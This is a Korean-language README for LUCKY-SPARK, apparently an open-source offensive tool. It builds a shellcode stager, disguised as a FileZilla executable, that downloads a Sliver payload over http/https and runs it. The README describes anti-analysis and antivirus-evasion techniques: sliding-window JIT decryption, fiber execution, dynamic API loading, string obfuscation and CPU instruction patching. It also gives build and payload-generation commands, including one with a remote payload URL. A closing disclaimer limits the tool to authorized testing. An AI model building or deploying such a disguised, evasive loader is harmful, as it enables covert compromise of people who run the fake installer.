LUCKY-SPARK

⟪ LUCKY-SPARK ⟫는 sliver 또는 github raw와 같은 http/https로 스테이징되는 셸코드 페이로드를 위해 설계된 스테이저입니다. 페이로드의 슬라이딩 윈도우 JIT(just-in-time) 복호화 및 CPU 명령어 패칭과 같은 현대적인 난독화 및 회피 방법을 사용합니다. 기본적으로 FileZilla FTP 클라이언트로 위장하는 실행 파일을 생성합니다.

Features

Staged Sliver Payload Loader 지정된 서버에서 Sliver 페이로드를 다운로드하고 실행합니다.
JIT Shellcode Decryption 노출을 최소화하기 위해 페이로드의 슬라이딩 윈도우만 복호화합니다.
Fiber-based Execution 셸코드를 파이버 내에서 실행하여 은밀성을 높이고 분석을 복잡하게 만듭니다.
Dynamic API Resolution 의심스럽거나 탐지되기 쉬운 Windows API 함수를 런타임에 동적으로 로드합니다.
String Obfuscation 중요한 문자열(예: URL, 사용자 에이전트)은 아핀 암호를 사용하여 암호화되고 컴파일된 바이너리에 난독화된 상태로 저장됩니다.
Cpu instruction patching AES CPU 명령어는 pmulqd와 같은 의심스럽지 않은 CPU 명령어 뒤에 숨겨지고 실행 후 패칭됩니다.
Automatic Disguise EXE는 적절한 매니페스트, 버전 정보 및 아이콘과 함께 FileZilla로 자동 위장됩니다.
Customizable User-Agent 네트워크 요청에 대한 사용자 지정 User-Agent 문자열 지정을 지원합니다.

Installation

저장소를 클론하거나 다운로드하고 시스템에 make와 mingw가 설치되어 있는지 확인하세요.

git clone <repository_url>
cd LUCKY-SPARK

Usage

Interactive

바이너리 생성 스크립트를 실행하세요.

./luckySpark.sh

스테이징된 페이로드의 URL과 선택적 User-Agent를 입력하라는 메시지가 표시됩니다. Interactive

One Line

한 줄로 실행할 수 있어 스크립트에 통합할 수 있습니다:

./luckySpark.sh -u https://github.com/GITHUBNAME/PAYLOADREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

One Line

Payload Suggestions

donut 또는 Sliver(donut을 사용)를 사용한다면 페이로드를 생성할 때 다음 플래그를 권장합니다:

donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin

이것은 donut의 의심스럽고 플래그되는 동작을 피합니다. 특히 donut의 회피 기능은 역설적으로 매우 높게 플래그됩니다.

Run the Loader

이것은 실행 시 페이로드를 가져와서 실행하는 filezilla.exe 바이너리를 생성합니다.

Staging a Payload

이 스테이저는 Sliver와 함께 사용하도록 설계되었습니다. Sliver Staging에 설명된 대로 Sliver 페이로드를 스테이징하세요. 페이로드를 암호화하지 마세요.

하지만 http/https 기반의 모든 스테이징 방법이 작동합니다. python3 -m http.server와 같은 방법이나 공개 저장소의 github.com에 업로드된 페이로드도 가능합니다.

이 스테이저는 meterpreter 스테이징 프로토콜을 지원하지 않습니다.

Sliding Window JITD

Step 1: RIP hits Page 0 and Page 0 gets decrypted 
  Pages:           [  D  |  E  |  E  | ... ]
  RIP ->              ^

Step 2: RIP hits Page 1 and Page 1 gets decrypted 
  Pages:           [  D  |  D  |  E  | ... ]
  RIP ->                    ^

Step 3: RIP hits Page 2 and Page 2 gets decrypted. Page 0 gets encrypted
  Pages:           [  E  |  D  |  D  | ... ]
  RIP ->                          ^

How it works:

RIP이 보호된 페이지에 도달하면 VEH 핸들러가 해당 페이지를 복호화합니다.
3페이지 창에서 가장 오래된 페이지가 다시 암호화됩니다.
마지막 두 페이지만 복호화되고 나머지는 보호 상태를 유지합니다.
이 “슬라이딩 윈도우”는 코드가 실행됨에 따라 RIP과 함께 이동합니다.

Security & Disclaimer

LUCKY-SPARK는 교육, 연구 및 승인된 침투 테스트 목적으로만 사용됩니다. 허가 없이 시스템을 무단 사용하는 것은 불법이며 비윤리적입니다.

Lucky-Spark

인기